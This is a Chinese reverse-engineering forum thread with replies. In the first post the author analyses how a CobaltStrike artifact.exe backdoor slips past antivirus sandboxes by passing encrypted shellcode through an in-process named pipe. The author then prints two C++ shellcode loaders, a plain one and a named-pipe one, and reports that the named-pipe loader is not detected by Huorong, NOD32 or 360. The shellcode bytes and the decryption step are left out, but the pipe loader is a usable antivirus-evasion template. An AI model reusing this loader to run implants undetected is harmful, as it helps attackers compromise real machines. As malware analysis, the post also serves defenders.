吾愛破解 - LCG - LSG |安卓破解|病毒分析|破解軟件|www.2dw61quu.icu

 找回密碼
 注冊[Register]

QQ登錄

只需一步,快速開始

搜索
查看: 14135|回復: 185
上一主題 下一主題

[PC樣本分析] CobaltStrike木馬artifact.exe規避火絨,360,node32沙盒的方法分析

    [復制鏈接]
跳轉到指定樓層
樓主
昨夜星辰恰似你 發表于 2019-10-30 13:39 回帖獎勵
使用論壇附件上傳樣本壓縮包時必須使用壓縮密碼保護,壓縮密碼:52pojie,否則會導致論壇被殺毒軟件等誤報,論壇有權隨時刪除相關附件和帖子!
最近發現一個奇怪的現象,我用CobaltStrike直接生成一個裸奔測試后門artifact.exe


然后使用火絨掃描,火絨居然沒有直接查殺


自己上線自己


按理說這種被滲透人員大量使用的后門,不管它原本使用了哪些牛逼的沙盒繞過手法都應該被直接特征碼定位查殺,根本不不用殺軟沙盒分析。很明顯,火絨應該是忘了加針對CobaltStrike的特征碼,然后使用后一步的沙盒分析但是不幸的是,沙盒分析也被CobaltStrike規避了。所以進一步分析


代碼使用了GCC MinGW編譯,程序有兩個TLS回調,分析了一遍,感覺并沒有什么卵用,應該就是GCC編譯后,main函數之前的初始化吧,判斷了一下winmajor這個全局變量,看名字和系統版本相關Winmajor<=3就加載mingwm10.dll這個dll,這個應該和MinGW有關吧,系統里面根本沒有這個dll




直接看main函數,邏輯很簡單,先call sub_4027B()沒什么卵用的函數,然后call sub_401800() 這個函數才是搞事的核心,然后死循環Sleep(1000)


雙擊進去分析,邏輯也很簡單,獲取系統時間戳,拼接成字符串\\.\pipe\MSSE-%d-server的格式,看名字應該和命名管道有關,然后創建了一個線程函數地址是sub_4016D3的線程,然后調用了函數sub_4017A2


分析線程函數sub_4016D3,直接F5看偽代碼吧


函數sub_401608有兩個參數,第一個參數unk_403010是一個數組,里面就是加密之后的shellcode,第二個全局變量參數dwSize就是shellcode數組的大小


跟進sub_401608,偽代碼非常直觀,可以直接拿來編譯那種


邏輯很清晰,創建了一個命名管道,管道名字就是前面分析的字符串\\.\pipe\MSSE-%d-server,然后往管道里面循環寫入加密的shellcode數據,直到全部寫入 返回分析,前面知道程序創建了線程之后立刻調用了函數sub_4017A2


Sleep函數的作用就是保證線程函數創建命名管道成功再開始讀取加密的shellcode,跟進sub_4016F2,也是邏輯非常簡單直觀的,打開線程創建的命名管道,從管道里面讀取加密之后的shellcode


返回看sub_401559函數


數組unk_403008和加密之后的shellcode是一段連續內存,開始的8字節是解密密鑰相關,后面才是加密的shellcode


跟進sub_401559,邏輯相當簡單了,木馬的模板代碼,先用VirtualAlloc函數申請內存,解密shellcode寫入內存,再用VirtualProtect函數改變內存屬性成可執行最后創建線程執行shellcode,解密算法也很簡單,加密數據分別和數組unk_403008開頭4字節進行取余亦或運算,unk_403008開頭8字節實際只用了4個字節


總結:CS使用命名管道進程內部通信的方式傳輸shellcode,殺軟的沙盒并不能很好的模擬此行為,以此繞過了沙盒的代碼分析,但是這并不能完全驗證是這種方法繞過了沙盒分析決定自己寫代碼使用此方式加載CobaltStrike的shellcode測試殺軟
1.先使用常規方式直接解密加載shellcode,代碼如下
[C++] 純文本查看 復制代碼
unsigned char data[] = { xxxxx };

DWORD WINAPI StartAddress(LPVOID lpThreadParameter)
{
        return ((int(__stdcall *)(LPVOID))lpThreadParameter)(lpThreadParameter);
}
int main(int argc, _TCHAR* argv[])
{
        char *buff = (char*)VirtualAlloc(0, sizeof(data), 0x3000u, 4u);
        //解密部分算法
        DWORD flOldProtect = 0;
        VirtualProtect(buff, sizeof(data), 0x20u, &flOldProtect);
        CreateThread(0, 0, (LPTHREAD_START_ROUTINE)StartAddress, buff, 0, 0);
        while (true)
        {
                Sleep(1000);
        }
        return 0;
}


先關閉火絨,直接上線


然后開啟火絨,剛編譯就被殺


2.先使用進程內部命名管道解密加載shellcode,代碼如下
[C++] 純文本查看 復制代碼
unsigned char data[] = { xxxx };
DWORD WINAPI StartAddress(LPVOID lpThreadParameter)
{
        return ((int(__stdcall *)(LPVOID))lpThreadParameter)(lpThreadParameter);
}


bool pipClient(LPVOID lpBuffer, DWORD nNumberOfBytesToRead)
{
        DWORD offset = 0;
        DWORD readSize = 0;
        HANDLE hFile = CreateFileA("\\\\.\\xxx\\yyy", 0x80000000, 3u, 0, 3u, 0x80u, 0);
        if (hFile!=INVALID_HANDLE_VALUE)
        {
                while (nNumberOfBytesToRead>0)
                {
                        BOOL ret=ReadFile(hFile, ((char*)lpBuffer + offset), nNumberOfBytesToRead, &readSize, NULL);
                        if (!ret)
                        {
                                break;
                        }
                        nNumberOfBytesToRead -= readSize;
                        offset += readSize;
                }
                CloseHandle(hFile);
        }
        return nNumberOfBytesToRead == 0;
}

bool pipServer(LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite)
{
        DWORD offset = 0;
        DWORD writeSize = 0;
        HANDLE hFile = CreateNamedPipeA("\\\\.\\xxx\\yyy", 2u, 0, 1u, 0, 0, 0, 0);
        if (hFile != INVALID_HANDLE_VALUE)
        {
                if (ConnectNamedPipe(hFile, 0))
                {
                        while (nNumberOfBytesToWrite>0)
                        {
                                BOOL ret = WriteFile(hFile, ((char*)lpBuffer + offset), nNumberOfBytesToWrite, &writeSize, NULL);
                                if (!ret)
                                {
                                        break;
                                }
                                nNumberOfBytesToWrite -= writeSize;
                                offset += writeSize;
                        }
                        CloseHandle(hFile);
                }
        }
        return nNumberOfBytesToWrite == 0;
}


DWORD WINAPI PipWrite(LPVOID)
{
        pipServer(data, sizeof(data));
        return 0;
}


int main(int argc, _TCHAR* argv[])
{
        CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)PipWrite, NULL, 0, NULL);
        Sleep(600);
        char *buff = (char*)VirtualAlloc(0, sizeof(data), 0x3000u, 4u);
        pipClient(buff, sizeof(data));
        //解密部分算法
        DWORD flOldProtect = 0;
        VirtualProtect(buff, sizeof(data), 0x20u, &flOldProtect);
        CreateThread(0, 0, (LPTHREAD_START_ROUTINE)StartAddress, buff, 0, 0);
        while (true)
        {
                Sleep(1000);
        }
        return 0;
}

開啟火絨,直接上線


繼續測試node32,提示安全


測試360安全衛士+360殺毒小紅書,QVM引擎全開聯網查殺,提示安全


哇,這個真的是。。。呼吁殺軟廠商感覺把這種過沙盒的方法列入查殺對象

免費評分

參與人數 138吾愛幣 +136 熱心值 +128 收起 理由
zhangchang + 1 + 1 我很贊同!
chenhongyuan + 1 + 1 我很贊同!
ab10012358 + 1 + 1 用心討論,共獲提升!
warren_520 + 1 + 1 [email protected]
大海來啦 + 1 用心討論,共獲提升!
Invisiblez + 1 + 1 熱心回復!
chenshiyiya + 1 + 1 我很贊同!
雨止I + 1 + 1 熱心回復!
憶秋暝楓 + 1 + 1 我很贊同!
MrOnee + 1 + 1 用心討論,共獲提升!
byblg52 + 1 + 1 [email protected]
autist + 1 我很贊同!
自強 + 1 + 1 用心討論,共獲提升!
qingyise + 1 + 1 熱心回復!
chomosuke + 1 + 1 歡迎分析討論交流,吾愛破解論壇有你更精彩!
LIEJIU + 1 + 1 [email protected]
反反復復ssss + 1 + 1 用心討論,共獲提升!
ttao88 + 1 [email protected]
肆零柒柒 + 1 + 1 用心討論,共獲提升!
風吹腿冷 + 1 + 1 大哥求放過
空白的悲傷 + 1 + 1 用心討論,共獲提升!
RedbeanW + 1 + 1 好吧。應用于易語言防誤報倒挺有效
malthae + 1 + 1 [email protected]
面包Sama + 1 大佬牛批
lindesi08 + 1 + 1 大佬,為了不讓你黑我的電腦,只能給你贊了!
Gascs + 1 + 1 但是他的特征碼應該還是會被識別出來
Tomcrack520 + 1 用心討論,共獲提升!
anpreate + 1 + 1 黑客:“嗯?我的馬怎么被刪了?”
13697i + 1 熱心回復!
艸123 + 1 + 1 我很贊同!
aeiduo + 1 雖然看不懂 但感覺很牛逼
as1329 + 1 + 1 用心討論,共獲提升!
青絲白發 + 1 我很贊同!
strage + 1 + 1 感謝發布原創作品,吾愛破解論壇因你更精彩!
星海you云 + 1 + 1 歡迎分析討論交流,吾愛破解論壇有你更精彩!
yed504307648 + 1 + 1 我很贊同!
滿級的雜修 + 1 + 1 我很贊同!
try233 + 1 + 1 用心討論,共獲提升!
littesummer + 1 + 1 我很贊同!
xmsjshou + 1 + 1 感謝發布原創作品,吾愛破解論壇因你更精彩!
白展堂 + 1 我很贊同!
N0LL + 1 + 1 [email protected]
逍遙筆 + 1 + 1 用心討論,共獲提升!
shne0309 + 1 + 1 感謝發布原創作品,吾愛破解論壇因你更精彩!
simplex + 1 我很贊同!
aishen6 + 1 + 1 用心討論,共獲提升!
qwe110120v + 1 + 1 用心討論,共獲提升!
梁祝a + 1 + 1 [email protected]
tangjiashiertui + 1 用心討論,共獲提升!
一夢千年 + 1 + 1 我很贊同!
皮卡丘秋 + 1 + 1 鼓勵優秀軟件安全工具和文檔!
90m + 1 + 1 [email protected]
hellozhanghe + 1 + 1 熱心回復!
XenProject + 1 + 1 熱心回復!
小灰灰ash + 1 鼓勵轉貼優秀軟件安全工具和文檔!
yunyishj + 1 + 1 燒香膜拜中。。。
Likey + 2 + 1 爸爸、媽媽都問我為什么要跪著看電腦
poisonbcat + 1 + 1 [email protected]
古河渚 + 1 + 1 我很贊同!
QGZZ + 1 + 1 [email protected]
liu5659 + 1 鼓勵轉貼優秀軟件安全工具和文檔!
siuhoapdou + 1 + 1 用心討論,共獲提升!
subjadeite + 1 + 1 [email protected]
yanguichao + 1 + 1 [email protected]
污到深處自然純 + 1 + 1 感謝發布原創作品,吾愛破解論壇因你更精彩!
HaxMan + 1 我很贊同!
此日桃花灼灼 + 1 [email protected]
584菜鳥 + 1 + 1 歡迎分析討論交流,吾愛破解論壇有你更精彩!
壹個金幣 + 1 + 1 牛逼!
qq918749962 + 1 我很贊同!
lep52 + 1 + 1 爸爸也問我為什么要跪在電腦I前
浩劫QAQ + 1 媽媽問我為什么跪著看電腦
別似流年 + 1 + 1 鼓勵轉貼優秀軟件安全工具和文檔!
BY丶顯示 + 2 + 1 鼓勵轉貼優秀軟件安全工具和文檔!
丿超超 + 2 + 1 感謝發布原創作品,吾愛破解論壇因你更精彩!
Aoker. + 2 + 1 歡迎分析討論交流,吾愛破解論壇有你更精彩!
暗夜協奏者 + 1 + 1 歡迎分析討論交流,吾愛破解論壇有你更精彩!
zhangchao0405 + 1 牛逼~
52pojie666z + 1 + 1 熱心回復!
johnsnith + 1 + 1 [email protected]
lmgs + 1 + 1 用心討論,共獲提升!
Rakuyo + 1 + 1 [email protected]
yixi + 1 + 1 [email protected]
魚尾巴3號 + 1 + 1 熱心回復!
kt_boy + 1 我很贊同!
暗夜攬月 + 1 用心討論,共獲提升!
尼霸Rc_ + 1 + 1 感謝發布原創作品,吾愛破解論壇因你更精彩!
三胖胖胖 + 1 + 1 用心討論,共獲提升!
hello008 + 1 我很贊同!
kppp888q + 1 + 1 歡迎分析討論交流,吾愛破解論壇有你更精彩!
風吹屁股涼 + 1 + 1 52pojie都有分析cobaltstrike的帖子了 牛批
夏天ng + 1 + 1 [email protected]
bjzzxhzl + 1 + 1 雖然看不懂,但還是覺得非常厲害的樣子!
WUJH6699 + 1 + 1 用心討論,共獲提升!
案首夢 + 1 + 1 我覺得有點厲害!
yuridexiaoyu + 1 + 1 用心討論,共獲提升!
daniel7785 + 1 用心討論,共獲提升!
huangsijun17 + 1 + 1 歡迎分析討論交流,吾愛破解論壇有你更精彩!
哎黑細作 + 1 + 1 免殺?
soyiC + 1 感謝發布原創作品,吾愛破解論壇因你更精彩!

查看全部評分

本帖被以下淘專輯推薦:

發帖前要善用論壇搜索功能,那里可能會有你要找的答案或者已經有人發布過相同內容了,請勿重復發帖。

推薦
此生長唸 發表于 2019-10-31 15:09
1321079264 發表于 2019-10-30 15:20
@此生長唸 。。。。。。

今天升級處理。感謝反饋
推薦
and1=1 發表于 2019-10-30 20:36
這個在CS剛到3.14時就是這樣了,然后Windows defender就可以查殺了。沒想到到現在國內殺軟都沒跟上

免費評分

參與人數 1熱心值 +1 收起 理由
liphily + 1 defender已刪,每次查殺卡的明顯

查看全部評分

4#
1321079264 發表于 2019-10-30 15:20
5#
小藍人 發表于 2019-10-30 15:49
這個~~~~~沒有被查出來~~~~有點~~~~
6#
xuing 發表于 2019-10-30 16:00
TQL TQL。學習了!
7#
逝去的流夢 發表于 2019-10-30 16:16
@火絨 @360殺毒 官方大佬出來看一下
8#
愛你么么噠呀 發表于 2019-10-30 16:24
TQL  有點東西啊
9#
abc2342537 發表于 2019-10-30 16:38
給mr大佬洗腳.jpg
10#
冰茶荼 發表于 2019-10-30 16:43
不明覺厲
11#
Mjoker 發表于 2019-10-30 18:27
地表最強。讓我好好瞻仰一下
12#
xisa 發表于 2019-10-30 18:52
看來還是魔高一丈。。。。
您需要登錄后才可以回帖 登錄 | 注冊[Register]

本版積分規則 警告:禁止回復與主題無關內容,違者重罰!

快速回復 收藏帖子 返回列表 搜索

RSS訂閱|小黑屋|聯系我們|吾愛破解 - LCG - LSG ( 京ICP備16042023號 | 京公網安備 11010502030087號 )

GMT+8, 2019-12-17 11:59

Powered by Discuz!

© 2001-2017 Comsenz Inc.

快速回復 返回頂部 返回列表
快手网红